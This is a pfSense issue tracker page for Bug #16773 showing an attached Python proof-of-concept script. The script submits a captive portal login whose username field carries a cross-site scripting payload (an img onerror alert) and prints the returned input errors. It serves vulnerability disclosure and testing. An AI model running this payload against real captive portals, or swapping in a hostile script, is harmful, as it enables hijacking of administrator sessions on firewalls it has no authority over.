Search
Project
General
Profile
Sign in
Register
Home
Projects
Help
Search
:
pfSense
All Projects
pfSense
Overview
Activity
Roadmap
Issues
Download (856 Bytes)
Bug #16773
» poc-xss-cp-widget.py
Jim Pingle
, 04/02/2026 07:15 PM
#!/usr/bin/env python3
import
requests
requests
.
packages
.
urllib3
.
disable_warnings
()
from
bs4
import
BeautifulSoup
baseurl
=
'
http://192.168.1.1:8002
'
portal_zone
=
'
testzone
'
target
=
baseurl
+
'
/index.php
'
login_data
=
{
'
zone
'
:
portal_zone
,
'
accept
'
:
'
Login
'
,
'
auth_user
'
:
'
<img src=x onerror=alert(
\'
XSS
\'
)>
'
,
}
headers
=
{
'
user-agent
'
:
'
Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
'
}
with
requests
.
Session
()
as
s
:
# Login
r
=
s
.
post
(
baseurl
,
data
=
login_data
,
headers
=
headers
)
# Dump input errors from response
soup
=
BeautifulSoup
(
r
.
text
,
'
lxml
'
)
input_errors
=
[
errors
.
text
for
errors
in
soup
.
select
(
'
div.input-errors ul li
'
)]
if
(
input_errors
):
print
(
"
Input errors:
\n
"
)
for
ie
in
input_errors
:
print
(
"
*
"
+
ie
+
"
\n
"
)
print
(
'
Done
'
)
« Previous
1
2
Next »
(1-1/2)
Loading...